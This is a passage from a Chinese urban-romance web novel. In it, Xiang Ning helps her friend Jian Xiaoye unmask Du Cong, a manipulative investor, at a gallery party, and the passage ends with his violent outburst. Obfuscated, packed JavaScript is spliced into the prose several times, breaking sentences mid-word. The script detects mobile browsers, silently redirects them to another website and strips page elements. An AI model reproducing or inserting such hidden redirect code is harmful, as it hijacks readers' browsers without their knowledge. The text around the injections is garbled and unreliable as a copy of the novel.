语毕挥一挥手,身旁的保镖立刻列成两队,让出一条通路。 简晓夜走远几步,环顾四周,很快就找到了熟悉的身影。 洗手间时时有人走动,不方便说话,向宁就把简晓夜带到了安静无人的二楼露台。 向宁关上玻璃门,问起:“你的手机怎么关机了?” “手机被杜琮给扣下了。”简晓夜斜靠在栏杆上答道,“他说今晚会见到一些工作上的合作伙伴,怕我在他们谈生意的时候偷偷录音,还搬出了前女友来,说是在她们身上吃过这种亏。呵,这个理由,我自己复述出来都觉得离谱。” 简晓夜觉得,真正的原因大概是杜琮发现赵姐时不时就打电话来查她的岗,怕对方坏了他的好事吧。 简晓夜虽然愿意为了杜琮承诺的利益跟他虚与委蛇,却怕向宁听多了这些事,又要替她觉得委屈,于是并不过多抱怨,转移话题说:“我还以为你那天是在说酒话呢,没想到你还真来替我掌眼了。” 也不知道宁宁是怎么拿到邀请函的,大约是煦晗姐帮的忙?简晓夜只这样想着,并没有多问。 向宁听完她的话,摇摇头道:“用不着掌眼,我助理都查清楚了。” 说着,她点开那份文件,把手机递了过去。 简晓夜读了个开头,半认真半玩笑道:“这是你们给他写的人物小传吗?” 向宁无心与她插科打诨,只催她接着往下读。 简晓夜却按熄了手机屏幕:“补妆的借口也就能撑十分钟左右,这篇调查报告写了上万字,我就是有一目十行的本事也读不完。” 她将手机还给向宁,继续说道:“你就直接挑重点,下结论吧,我信得过你。” “行。”向宁直截了当,“结论就是——不论杜琮承诺要给你的事业提供什么帮助,都是空头支票。他没有能力履行承诺,而且不是有心无力,是无心,也无力。” 简晓夜固然愿意把她的话听进去,却抑不住追问道:“为什么这么说?” 向宁打开文件,顺着目录点进对应的章节,一哂道:“诚然,杜琮攀上了呈业集团的祝老爷子这棵大树,用干儿子的身份搞到了几家小公司。可那些公司在集团内部根本排不上号,不但属于边缘产业,而且连年亏损,财报比你捏着鼻子都不愿意接的烂戏还难看。要不是他干爹有心抬举他,每次都帮忙兜底,杜琮早就赔得只能穿开裆裤了。” 简晓夜并不了解杜琮的生意做得如何,听了向宁这番话,一时又是气他平时吹牛不打草稿,又是恼自己轻信人言。 可是气完转念想想,她又不免替杜琮,也替自己沉没的时间成本找补起来:“可是,瘦死的骆驼比马大……” 向宁不等她说完就发问:“你之所以会认识他,就是因为他投资了你正在拍的这部戏,对吗?” 简晓夜点点头,这没什么可隐瞒的。 向宁再次把手机递了过去,屏幕上显示着她用心总结的表格—— 第一列是影视剧的名称; 第二列是从财报里截出来的部分信息; 第三列是不同女演员的照片和姓名; 第四列是“一手史料”,包括站姐拍到的照片、八卦论坛的爆料、与业内人士的聊天记录等等。 “你看看吧。杜琮每投资一部戏,都会追求一位年轻漂亮、没有靠山、事业尚不稳定的女演员。即便刨除捕风捉影的例子,只算咱们能看到的实锤,你也已经是他的第四任‘剧组女友’了。” 简晓夜看着那表格只觉心惊,一时说不出话来。 向宁接着说:“我不知道杜琮是怎么追求她们的,但是我能猜到,你大概率和她们没有什么不同。” 简晓夜自嘲般低头一笑:“大概率……这是照顾我心情的说法吧?应该说毫无二致才对。” 向宁扶上她的肩膀,单薄的,被夜风吹得发凉的肩膀。 “我相信,他对你做过的承诺,也对她们一一做过。大概率……毫无二致。” 简晓夜轻轻点头,声音却十分有力:“估计连话术都一模一样。” 接下来的话就不用明说了。 之前那三位演员拍完“定情之作”,后续的事业并没有得到明显的助益,说难听点,连走红毯时穿的礼服都没能提升一个半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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简单聊完应对思路以后,向宁从包里取出一支签字笔,找了半天,又翻出来一张明信片,一起塞进了简晓夜的手包里。 二人间错开来,简晓夜先回到展厅,向宁则独自留在露台上打电话。 谁知她顺着常用联系人名单拨了一圈号码,也没能问到想要的信息。 失望之下,向宁只觉得心口压着的石头越来越重,坠得眉头直皱。 她用冰凉的手指用力揉着眉心,紧接着便听到身后的玻璃门被人敲响。 转身一看,来人竟是枕安。 “你怎么也来了?”向宁打开玻璃门,勉强挤出微笑的表情,仿佛一种职业素养。 “下面人多,闹得慌,我就过来躲清闲了。” 某人刚才给枕安下了诊断,说他嫌吵只是借口,本质上是分离焦虑发作。 枕安并不认可这个观点,反呛那人妄下诊断只是表面,本质上是非法行医。 继而得了对方一个白眼。 向宁没觉得枕安给出的理由有什么漏洞,只随口应了一声。毕竟她这时还在操心别人的事,分不出多余的注意力给他。 “特工小姐,情报传递得不顺利吗?”枕安略微提高音量问道,“看你愁眉不展的,笑也笑得勉强。” 向宁的思绪忽而被他拉回,想了想,答道:“旧任务一切顺利,让我发愁的是意料之外的新任务。” 枕安迈步转身,与向宁并肩靠上栏杆,侧过头看着她的眼睛问道:“我还能帮上什么忙吗?” 19. 要个签名 向宁的视线自然垂落在前方的空地上,并没有察觉到他的目光,只轻轻摇了摇头。 白鹤涯,白鹤涯…… 向宁不断在心里默念这个名字。 这名字,是真名还是笔名尚不确定,其人的各项真实信息也并未公开过。 向宁只知道白鹤涯是近年大爆的武侠电影《何妨袖手》的原著作者兼制片人。 据说这位白老师在剧组有着极高的话语权,尤其是在选角方面,几乎做到了说一不二。 最近《何妨袖手》第二部的选角工作已经徐徐展开,圈内不少演员都在争取机会,然而几个主要角色的人选却迟迟未定。 杜琮知道简晓夜的事业心重,便承诺要在今天的酒会上介绍她与白鹤涯认识,顺便帮她谈一个好角色。 向宁却不得不质疑这份承诺的真实性。 圈内人都知道那位白老师最有自己的主张,几大娱乐公司争相斗法,都没能走通一扇后门,他杜琮又凭什么夸下海口? 想到这里,向宁不由怅然道:“算了。” 不是轻言放弃,而是改换思路。 何必非要先解出正确答案,再判定杜琮考试不及格呢? 只要能反证他给出的答案是错误的,这一科嘛,他就照样得挂。 …… “来,晓夜,我给你介绍一下,这位就是大名鼎鼎的白鹤涯,白老师。” 对面是个三十出头的男人,深棕色的头发梳成偏分,双手插在风衣口袋里,看起来有些高傲。 简晓夜伸出手的同时礼貌微笑道:“白老师您好,久闻大名。” 风衣男没有动作,冷着脸说道:“握手就免了,还是直接谈正事吧,免得浪费时间。” 简晓夜并不觉得尴尬,从容地收回手挽住杜琮的胳膊,靠近他的耳朵小声提议:“既然要谈事,不如就让保镖站远点吧,免得咱们讲话拘束。” 更重要的是,她得把这些遮挡视线的障碍物挪走。 杜琮想了想,觉得有道理,于是向外挥一挥手,众保镖立刻退开几步,让出了一片空间。 简晓夜不着痕迹地望了一眼展厅大门,向宁还没有回来。 风衣男开门见山:“简小姐,我这人说话直,你别见怪。按理说,凭你的条件呢,铁定是上不了我的戏。可是既然杜总都跟我开口了,我也不能不卖他一个面子,你说是吧?” 简晓夜受到那份调查报告的影响,已经打起了十二分的质疑精神。 听到这番话,她便觉得对面这人有点不靠谱了——一张嘴就贬低她,捧杜琮,不像正经做人情生意的,倒像是带着任务来唱红白阴阳脸的。 可她还是佯作受宠若惊状:“那真是要谢谢杜总了。” 风衣男脸上终于有了点表情,像笑容,又像谄媚:“我和杜总认识这么久,还是第一次见到他对女朋友这么上心呢。简小姐,你可真是好福气啊。” 简晓夜虽然顺着他的话茬应了两声,心里却觉得这人更不靠谱了——明明刚才还说要直接谈正事,现在怎么又开始浪费时间,念起偶像剧里老管家的经典台词了? 杜琮闻言,笑着搂住简晓夜的腰,挑眉道:“别的女人哪配和我们晓夜比?我呀,可是认定她了。” 或许他觉得讲这种话是投其所好,能满足身边这个女人的虚荣心,简晓夜听了却只觉物伤其类——这些话,也不知道他跟多少人说过,只怕他自己都记不清了吧。 她和别人又有什么不同呢?不过都是被杜琮画下的大饼引入陷阱的猎物罢了。 接下来的十几分钟里,风衣男和杜琮聊得热络,简晓夜插不进嘴,也不想参与他们的话题,只是时不时朝展厅大门的方向瞟去,终于在风衣男告辞之前盼到了向宁的身影。 杜琮正在和风衣男握手道别,简晓夜从手包里拿出向宁交给她的签字笔和明信片,双手递上前去。 “白老师,我姐姐是您的铁杆书迷,一听说我有机会跟您合作就兴奋得不行,非要我给她带个签名。您看,方便给她签一下吗?” 风衣男向杜琮投去目光,似乎是在征求意见。 白鹤涯的小说卖过几千本亲签版,只要有心,上网一查就能搜到图片,一对比便可辨别笔迹真伪。 杜琮思量片刻——反正简晓夜的手机还由他保管着,糊弄一晚上不是问题。 等今夜生米煮成熟饭以后,就算她早于他计划的时间发现自己被骗了,也不会影响到他什么。 最多吵闹一场,和他分手,那也正好遂了他的意,可以接着走流程,物色下一个床伴。 想到这里,杜琮小幅度点了点头。 向宁在远处看到风衣男接过明信片签下名字,便确认了他就是杜琮交出的答案。 等风衣男与简杜二人道别后,向宁的视线一路跟随着他,和他的脚步一起在风景画展区停了下来。 再往肖像画展区看去,简晓夜正对杜琮说着什么,杜琮听完表情一僵,顺着她所指的方向一看,正好与向宁的目光相撞。 该死,她姐姐居然也来了,简晓夜怎么不早点告诉他! 杜琮心里泛起了嘀咕:既然她姐姐是白鹤涯的铁杆书迷,一会看到明信片以后,会不会认出那上面的笔迹不对呢? 僵在原地也不是办法,杜琮决定随机应变,让保镖替简晓夜走一趟,把明信片交给向宁。 这样一来,就算她察觉了什么,也没办法及时告诉简晓夜。 杜琮远远看着,向宁接过明信片后没有细看就放进了包里,跑腿的保镖回来也代她表达了感谢。似乎一切都风平浪静,并无异常。 呼,看来是我多虑了,他想。 杜琮那边暂时放下了警惕,殊不知向宁在露台上提前搜过了白鹤涯的亲签返图,并且牢牢记住了图上的几处书写特点。 即便刚才没有仔细观察明信片上的签名,她也可以断定,风衣男绝非白鹤涯本人。 诶,等等。 是不是应该再多想一层呢? 既然明星发售亲签版专辑时,常常不愿自己出力,而让工作人员代签,那么作家会不会也一样呢? 万一她先前搜到的“白鹤涯亲签”本来就不是真正的“亲签”,那位风衣男才是白老师本人呢? 诚然,向宁一直对杜琮带着预设的敌意,可她也担心自己的偏见会害得简晓夜丢掉一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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试探到这里,本来已经可以结束对话了。任谁都看得出来,这家伙绝不是白鹤涯本尊。 向宁固然可以直接去找简晓夜说明情况,而且对方一定会相信她的话。 然而她没有能拿出来对质的实际证据,如果杜琮巧言令色,坚决抵赖,她还真怕简晓夜不是他的对手。 于是向宁语调一转,又续上了刚才的话题:“律师先生,怎么称呼?” 风衣男不假思索:“我姓赵。” “哦~赵律师。”向宁眼波一转,有了主意,“方便给我一张名片吗?以后如果遇上案子,我就去找你。” 向宁认识的律师都有名片,而且遇到潜在的客户和案源时,总是愿意留下联系方式。 未曾想,这一招在风衣男面前并不奏效。 “我没有名片。”他见向宁不信,又解释道,“小姐,私人律师听说过吗?我只给老板工作,不在外面接私活的。” 老板?估计就是杜琮吧。 真有他的,居然让自己的律师假扮制片人来诱骗女明星。但凡把心思用在正道上,他还不……算了,还是别用这种假设给他脸上贴金。 既然拿不到名片,那就再换种打法,搜刮点其他证据吧。 20. 枕·特工代号·安 “赵,律,师——”向宁拉长了尾音,“我还要怎么装傻,怎么引话题,怎么找借口才能让你看出来,我其实是在跟你搭讪啊?” “搭讪?”风衣男心里一美,不由拿腔拿调起来,“看来你不太擅长这个,我一点都没看出来你在搭讪。” 与此同时,他插在口袋里的左手已经开始了动作,十分娴熟地用大拇指把戴在无名指上的婚戒搓了下来,继而掏出手机,挑眉问道:“加个微信吧,你扫我?” 向宁不想污染自己的好友列表,撒谎道:“我手机没电了,所以才想问你要一张名片的嘛。” 风衣男似乎很有经验,马上想到了新的办法:“小姐,你包里有笔吗?我把电话写到你手上吧,哈哈,电影里的浪漫桥段都是这么演的。” 向宁脸上丝毫看不出反感,从包里拿出一支眼线笔:“那就用这个吧。” 语毕伸出左手,让风衣男把手机号码写在她手心里,又翻过手背,让他签上了真实姓名。 搞定! 有了这两项信息,看杜琮还怎么抵赖! 至于实物证据嘛……没关系,在这种既不正规又不严肃的博弈中,程序正义是最无关紧要的东西了。 向宁拿回眼线笔,留下一个让对方浮想联翩的微笑,便要转身离开。 “哎,等等。”风衣男拉住她的手腕,“你也给我留个联系方式吧,我还不知道你叫什么名字呢。” 向宁使巧劲挣脱桎梏,伸手把他的领带从风衣领口里挑了出来,在手指上缠绕几圈,二人的距离也随之一点点拉近。 风衣男不由心猿意马,大脑几乎咕嘟成了一滩浆糊。就在这时,他听到耳边传来一句温柔的话语—— “我还是更喜欢,把主动权握在自己手里。” 等他回过神来,向宁已经不见了踪影,那条领带不知怎的就蒙住了他的眼睛,一路绕到耳后,摸不着首尾。 成功脱身的向宁径直朝门口走去,同时左顾右盼,四处寻找可用的工具,最终在路过摆满酒杯的长桌时,顺手勾走了桌子上的一块小方巾。 二楼露台上,刚刚被招入“特工”组织的临时搭档已经等她很久了。 “什么任务?”枕安饶有兴致地问。 “伪造证据。”向宁顿了顿,又改口道,“不,应该是‘复印’证据。” 说完拿出那张方巾。 “听说画家都善于控笔,如果让你模仿别人的字迹,应该也不会太难?” 到时候让简晓夜拿着这张方巾去跟杜琮对质,就说这是赵律师良心发现,悄悄塞给她的,“证据确凿”,看他还如何抵赖! 枕安接下任务,却不放心直接在方巾上写字,得多练习练习才有把握。 身边一时找不到能写字的纸,枕安就用自己的手掌当白板,用向宁的卸妆湿巾当板擦,先用眼线笔练习了十余次,而后伸手将练习结果展示给向宁,询问道:“乍一看还挺像的,这个效果可以吗?” 向宁把他的手拉到面前查看效果,动作堪堪冲破了社交距离。 枕安莫名有些紧张,隐约觉得心跳声的存在感比平时高了些。 但他不愿往越界的方向去想,宁愿囫囵下个诊断,把这种异常反应归结为他逐步停药的副作用。 “相似度……还可以吗?”说话声也许能盖住心跳声吧,他想,“如果不行,我再练练?” 向宁放开他的手,赞许道:“蛮好蛮好,比我的水平高多了。” 熟悉向宁的人都知道她有一大短板——不会写连笔字。 简晓夜还曾因此开玩笑说:“你要是走了演员路,给粉丝签名都会被怀疑是找小学五年级以下的孩子代签的。” 枕安并不知道这层缘故,还以为她刚才那句话只是鼓励人的场面话。 “感谢特工小姐的认可。”他一边模仿风衣男的笔迹,把向宁手上的两项信息誊抄到方巾上,一边带着隐隐的期待问道,“现在,我是否有机会从实习生转正,成为您麾下的一名正式特工呢?” 所谓特工组织,本来就是向宁的一句玩笑话,她自然也当枕安是在跟她开玩笑,于是当即批准了他的入队申请:“先给你自己起个特工代号吧。” 熟悉枕安的人都知道他有一大短板——取名困难症。 祝璋还曾因此提出过无奈的建议:“你要是实在想不出改什么名字合适,干脆就改姓‘何’,从‘适’的同音字里随便挑一个当名字算了。” 此时此刻恰如彼时彼刻,枕安不想耽误对方的时间,然而他越是着急,就越是想不出答案。 或许,应该找点参考? 于是他决定先问问向宁:“你的代号是什么?” 这下可把向宁给问住了,她哪有这玩意?好在她脑子转得快,当即把简晓夜恭维她的话复述了一遍:“向·马普尔·波洛·福尔摩斯·狄仁杰·宁。” 表情一本正经,十分唬人。 “看来我没有做特工的天赋,”枕安半认真半揶揄,再一次给自己下了诊断,“这么长的代号,我就算想得出来,也未必记得住。” 二人相视一笑,闲话到此结束。 向宁下楼去找简晓夜,忘了把卸妆湿巾和眼线笔收回包里。 枕安把手上的墨色字迹仔细擦净,让夜风吹干水痕,而后从腕间能摸到脉搏的位置起笔,重新写下一行正楷小字—— 枕·简·黑斯廷斯·华生·李元芳·安 下笔是郑重的,入眼却是诙谐的。 枕安把这个代号轻轻握入掌心,又忍不住打开来看。如此反复几次,眼中的笑意愈加明显,无论如何也压不下唇角。 忽然间,他觉得自己有点幼稚。 或许还不止“有点”。 不过……管他呢,反正也没人看见。 一楼展厅。 向宁刚进门就撞上了况星宸——物理意义的“撞上”。 他似乎已经喝了六七分醉,走路都有点飘了。 况星宸被撞得眼冒金星,本想骂两句脏话发泄发泄,残存的理智却在提醒他——这里是祝璋的地盘,千万要管好自己的嘴。 向宁皱着眉扶了他一把,环顾四周,在寻找简晓夜的同时问道:“刘哥呢?没跟着你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802721|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况星宸嘿嘿一笑:“他有更重要的任务。” “什么任务?” “嘘——”况星宸神秘兮兮地拍了拍向宁的肩膀,“事成之后,再拉你看戏。” 向宁深吸一口气。敏感的职业嗅觉告诉她,务必做好帮况星宸收拾烂摊子的准备。 “你女朋友呢?”难道就放任他醉醺醺满世界溜达么? “忙,忙工作,忙点好啊……”况星宸端起杯子又喝一口,“你不懂,霸道总裁都这样。” 向宁懒得跟他掰扯,眼神一捕捉到简晓夜,便打算立刻去找她。 况星宸却猝然伸手扯住了她的外套:“等等等,别急着走!” 向宁下意识护住衣服口袋,不爽道:“干嘛?” 况星宸双手摆出持枪姿势,指着简杜二人所在的方向:“你给我想个办法,把简晓夜引开。” 向宁立时警惕起来:“到底干嘛?你不会是要跟杜琮约架吧?” “当然不是,我怎么可能那么蠢啊?”况星宸费劲地翻了个白眼,“常言道,多个朋友多条路。我是要去给姓杜的敬杯酒,化干戈为……为……为鸭脖!” 向宁显然不相信他的说辞,主要还是不相信他有那个肚量:“要敬酒,直接去不就行了?把晓夜引开做什么?她还能拦着不让你敬酒?” 况星宸不满地撇撇嘴:“诶,这不就让你给说着了!我刚才去过一次,还真让她给我挡回来了!说什么……他要开车,不能喝酒。哼,瞧她那点胆子……” 向宁听他提起酒驾竟是这样一副态度,不由严肃起来:“你给我老实点,别朝法制咖的方向发展啊!” 况星宸嘁了一声:“您老人家有空教训我,就没空提点建设性意见?” 向宁急于脱身,随口搪塞道:“不让敬酒就别钻这个牛角尖了呗,你要是真有心和他化干戈为玉帛,杯子里换成茶、饮料,不也一样?” 况星宸晃了晃杯子,喝掉最后一口红酒,把空杯子塞到向宁手里:“小宁,你这句话,就应该评上牛顿第八定律。” 说完就迈着虚浮的步子走了。 “什么啊……”向宁望着他一步一晃的背影,忍不住嘟囔道,“神神叨叨的。” 扭头再看简杜二人,四周仍旧围着一群又高又壮的保镖,她想厚着脸皮硬凑上去怕是行不通。 不过,况星宸倒是给她提供了新的思路。 几分钟后,况星宸端着两杯饮料原路返回,走到向宁附近时被她一把拦住。 “怎么,此路是你开,要我留下买路财?”他半醉半醒时倒是口齿伶俐。 向宁从身旁的桌子上随便端起一杯果汁,和况星宸碰了个杯:“我跟你一起去,也好多看着点,免得你又闯祸。” “哈?你?跟我?”况星宸丈二和尚摸不着头脑,“这算怎么回事?我怎么跟姓杜的介绍你啊?” “这有什么不好介绍的,说我是你助理不就行了?” “得得得,你饶了我吧。我庙小,供不起你这尊大佛。” 如此这般拌几句嘴,况星宸终究还是拗不过向宁,随她去了。 21. 都市情感大戏 酒会还有二十分钟就要结束了,杜琮的保镖忽然来传话说:“况星宸又来了,带着助理,说是小祝总坚持让他来敬您一杯,问您是否赏脸?” 杜琮听到“小祝总”三个字,眼皮一抬,颔首笑道:“祝璋的面子还是要给的,让他过来吧。” 然而他没想到的是,况星宸的助理竟然是简晓夜的“姐姐”,阴魂不散。 “杜总,又见面了。” 只一个对视的眼神,简晓夜便知道,向宁这次是有备而来。 伸手不打笑脸人,既然人已经来了,还是杜琮亲自让保镖放进来的,他总不能当场翻脸下逐客令。 “真巧啊。”杜琮接过况星宸递来的杯子,不等对方碰杯就猛灌了一大口,像是为了浇灭心头火。 咳,味道真怪,什么破饮料,藿香正气水么? “杜总,我是专门来跟您道谢的。” 况星宸正要开口说话,不料竟被向宁抢了先。 他斜睨向宁一眼——没来由的,你出什么风头?不知道的还以为我才是跟班呢!可笑,想攀高枝也没有你这样上赶着往上贴的! 杜琮却对况星宸视而不见,笑着回应向宁:“哦?怎么说?” “前几天我醉得不省人事,多亏有您帮忙,我才安全到家。”向宁摆出一副羞涩中夹杂着仰慕的神情,“还有今天,我不过随口跟晓夜提了一句,您就帮我拿到白老师的签名了。” 简晓夜知道这两件事里头的弯弯绕,听了她的话,便也跟着应了几声。 况星宸却对她俩打的算盘毫不知情,被向宁这段话里的信息量勾得只想继续吃瓜,暂时忘记了插嘴。 杜琮则有意无意忽略了前几天的事,只针对今晚的事发问:“听晓夜说,你是白老师的铁杆书迷?” 向宁惭愧一笑,摇摇头答道:“说实话,我只看过电影,没有读过原著,只是因为有收藏明星签名的爱好,才拜托晓夜帮忙的。” 杜琮得到这个答案,终于全然放下了心。看来,他对简晓夜撒的谎一时半刻不会被戳穿,可以晚几天再物色下一个目标了。 况星宸却在心里嘀咕起来:她什么时候有这个爱好的?我怎么没发现?诶,不对啊!她怎么不来要我的签名呢?看不起我是吧! 接着闲聊几句,向宁喝完杯子里的果汁,抬手看一看表,便要告辞离开。 简晓夜接收到了她的眼神暗示,于是跟上半步:“我送送你吧。” 等的就是她这句话。 向宁看一眼杜琮,又看一眼简晓夜,以退为进道:“不用不用,你们慢慢玩吧。” 况星宸巴不得这两个碍事的女人都走开,立马自来熟地揽住杜琮的肩,对向宁说:“你就让她送送吧,正好给我们俩留点空间,聊聊男人之间的话题。” 杜琮对他这样没分寸的行为很是不爽,但又不得不顾着祝璋的面子,于是默许了况星宸的做法,简晓夜也因此得以脱身。 与此同时,枕安收到了向宁发来的消息—— 「二楼露台可以清场了,今日委托任务即将圆满完成。」 …… 二楼露台。 简晓夜攥着小方巾,看着上面用眼线笔写下的陌生姓名,竟一点也不觉得意外,反而像是验证了自己的某种猜想。 应该感到愤怒吗? 不,缓冲期拉得太长,简晓夜早已在不知不觉中做好了心理建设,此刻谜底揭开,她只觉得如释重负。 在此之后,紧接着冒出来的念头便是——幸好宁宁没有当着杜琮的面戳穿他,否则杜琮肯定会把她视作坏他好事的罪魁祸首。到时候,还不知道他会用怎样的手段来打击报复呢。 “我最多只能做到这一步,该劝的也都劝过了。”向宁整个人靠在栏杆上,仰着头,像是在数星星,“接下来怎么选择,都看你自己。” 简晓夜摩挲着方巾:“放心,不会让你白忙活一场的。他都把我当傻子骗了,我又何必在这棵树上吊死呢?” 说着,简晓夜把方巾塞回向宁手中,“这个不能给杜琮看。就算我把锅甩到赵律师头上,也骗不了杜琮太久,他迟早会查到是你在背后捅刀。后面的事你就别掺和了,权当什么都不知道。” “可是,如果没有凭据,你要怎么跟他对质呢?” 简晓夜耸耸肩:“证据思维别太重嘛,咱们又不是要对公众发声明。” 说完冲向宁挤挤眼,后退两步,转身要走。 “等一下!” 向宁小跑两步脱下外套,披在简晓夜肩上。她只穿着一条长裙,看着就冷。 简晓夜有点懵:“我不冷。” 向宁煞有介事道:“披件带垫肩的外套更有气场,直接原地变身都市情感大戏女主角,遇神杀神,遇鬼杀鬼。” 简晓夜憋着笑提出了质疑:“都市情感也就算了,你还非扯上鬼神,这种戏拍出来也不像能过审的样子啊。” “行了行了,你赶紧上场吧。”向宁把她推出门外,“速战速决,我在一楼大厅等你。” 两人一前一后走下楼梯,走到拐角处,竟与正在上楼的杜琮狭路相逢了。 他皮笑肉不笑:“不是去送人吗,怎么送到二楼去了?” 简晓夜错开一步,挡在向宁身前,面无表情道:“路上恰巧碰见圈内的朋友,就找地方一起聊了几句。怎么,不行吗?” 杜琮头一次见她这样冷言冷语,未免有些不悦。 “圈内的朋友?谁啊?带我也见见呗?” “已经走了。而且,说了你也不认识。” 简晓夜站得比他高些,杜琮不习惯这样抬着头看她,于是大踏步迈上了她踩着的那级台阶。 简晓夜紧跟着后退一步,和他拉开了距离。 杜琮有点说不清道不明的心虚:“瞧你,耍什么脾气啊,心情不好?你朋友跟你说什么了?” 简晓夜深吸一口气,回头看看向宁:“姐,不该你好奇的事情就别追着问了。你先走,我再跟他谈。” 杜琮闻言甩出一个眼神,一名保镖当即迎上前来。 “送这位小姐回家。” “是。” 保镖领到任务,立刻把向宁请下楼梯,一路往门口走去。 还没看到大结局,向宁自然不想这么快离开。 于是她试着支开保镖:“不用麻烦了,我自己回去就行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向宁不想冒这个险:“你先赶他走,我再出去。” 枕安一力坚持:“这个办法只有你在场的时候能用。” 这下可把向宁的好奇心勾出来了,她倒要看看,枕安想出了什么稀奇古怪的办法。 结束通话以后,向宁走到洗手台边,在保镖的注视下磨磨蹭蹭,翻来覆去,用医生进手术室的标准洗了好几次手。 “向小姐!” 身后突然传来枕安的声音。 “终于找到您了。”他装出一副气喘吁吁的样子,仿佛跑了很远,“您怎么逛到这来了?” 说着,他轻轻握住向宁的手,看也不看一旁的保镖,便要向外走。 “等等!”保镖紧跟着向宁,迈步绕上前去拦住枕安,“杜总交代过,让我送这位小姐回家。” 枕安语气不善,信口胡诌道:“杜总是哪号人物?我只听祝总的吩咐办事。她想见向小姐,你也要拦着么?” 22. 摊牌 祝总想见向小姐? 保镖一时判断不出这话是真是伪,上下打量枕安一圈,目光定格在他胸口那枚火彩熠熠的胸针上,表情一滞,讪讪收回了手。 这里的其他客人或许不知道那枚胸针是什么标志,可他是杜琮身边的人,当然对此心如明镜——能佩上这枚白鹤胸针的人,都是祝璋的密友。 即便杜琮是老祝总的干儿子,在小祝总面前也没这个资格。就连祝璋的男朋友况星宸,都没能讨来这份殊荣。 想到这里,保镖后退两步,不再阻拦。连杜琮都不敢得罪祝璋,他又何必去碰那个钉子呢? 路障清除完毕,走远以后,向宁才踏实下来。 她当然知道祝璋不是真的要见她,便问起:“你把祝璋搬出来平事,她不会介意吗?” 枕安摇摇头:“只要能让杜琮吃瘪就不会,他们俩看对方不顺眼也不是一天两天了。明里暗里,就跟车迟国斗法似的。” 向宁忽然感觉脑子有点乱。 杜琮和祝璋的关系到底是什么情况,怎么一人一个说法? 况星宸说,他上赶着巴结她,想在生意上分一杯羹。 简晓夜又说,他苦恋她却求而不得,多年来一直念念不忘。 枕安却说,他和她互相不对付,明争暗斗从未止歇。 向宁只能感叹,好一出当代罗生门啊! …… 酒会即将结束,已经有一部分宾客陆续离场。 今夜的二楼露台实在热闹,除特工基地以外,又多了谈判圆桌的功能。 杜琮已经对简晓夜要说的事有了预感,却还是不死心地试探:“谁惹你了?耷拉个脸。” 简晓夜躲开他伸到她颊边的手,单刀直入:“赵海,赵律师,你应该认识吧。” 杜琮的手僵在空中,半晌才收回来。 这的确是刚才假扮白鹤涯的,他私人律师的名字。 不过不是真名,而是在外面泡妞时惯用的假名。 听到这个名字,杜琮心里便有了猜测:“谁告诉你的?不会是……所谓的圈内朋友吧?” 简晓夜不回答他的问题,只想尽快结束这场闹剧:“把手机还给我,咱们好聚好散。没必要撕破脸把所有话都挑明了说,否则谁的面子上都不好看。” 猎人被猎物忤逆的滋味并不好受,杜琮强行捏住简晓夜的手,咬牙切齿道:“有什么不能明说的,你以为我不认识真正的白鹤涯吗?你以为我在她面前说不上话吗?你想知道她是谁吗?想见她吗?我可以告诉你,也可以带你去啊!” 杜琮的情绪转变得过于突然,几近失态,实在反常。要不是简晓夜今夜一直拦着没让他喝酒,她几乎要怀疑他现在是在发酒疯了。 “这些都跟我没关系,你放开我。” 杜琮对她的反抗视而不见,自顾自念叨着:“我可以告诉你啊,白鹤涯不就是祝璋吗?我喜欢过她,你知道的。我为什么不带你去见她,还不是在考虑你的心情吗!?” 见简晓夜不为所动,杜琮又换了新的话术:“我告诉你,赵律师是祝璋的人。她不想让人知道她就是白鹤涯,跟做贼似的,所以找了个私人律师帮她处理选角事务。咱们找他要角色才是找对人了,懂吗?” 简晓夜冷笑一声,没必要费时间给这番漏洞百出的说辞挑毛病了。 “你要是实在不愿意把手机还给我,也没关系。”她用力甩开杜琮的手,“我会报警处理这件盗窃案的。” 说完转身便走。 杜琮又急又怒,从口袋里掏出简晓夜的手机,直直冲她的头砸去:“你大爷的,别给脸不要脸!” 幸而他准头不佳,将手机砸到了玻璃门上。 随着玻璃碎裂的一道刺耳声响,简晓夜不敢置信地回头看去。 这里是祝璋的地盘,他怎么敢这样大闹? 杜琮仿佛没意识到自己闯了什么祸,接着怒喝道:“别忘了,没攀上老子的时候,你在剧组有一天好日子过吗?” 简晓夜恍若未闻,蹲下身捡起手机,屏幕已经碎了。 “你忘了自己当时是怎么一把鼻涕一把泪来跟我诉苦的吗?老子现在就帮你回忆回忆!” 杜琮也在简晓夜面前蹲了下来,平视着她的眼睛,用力锢住她发凉颤抖的手,从记忆里挖出她曾经讲过的话,一一复述。 “剧本一天飞五页,没人告诉你最终用哪版。背错半句词就被当众羞辱,连哭都不敢哭出声。” “被扇耳光的戏全是真打,导演总挑细枝末节的毛病,找借口重拍了三十几条。” “每次拍吃饭的戏,道具组都故意给你准备馊得发酸的饭菜,害你食物中毒,上吐下泻。” “全剧组没一个人愿意给你好脸色,有个实习生前脚跟你多说了几句话,后脚就被开除了。你忘了吗?你不该忘的!她之所以丢工作,都是你害的!” 他的声音越来越大,简晓夜的手越来越冰凉。 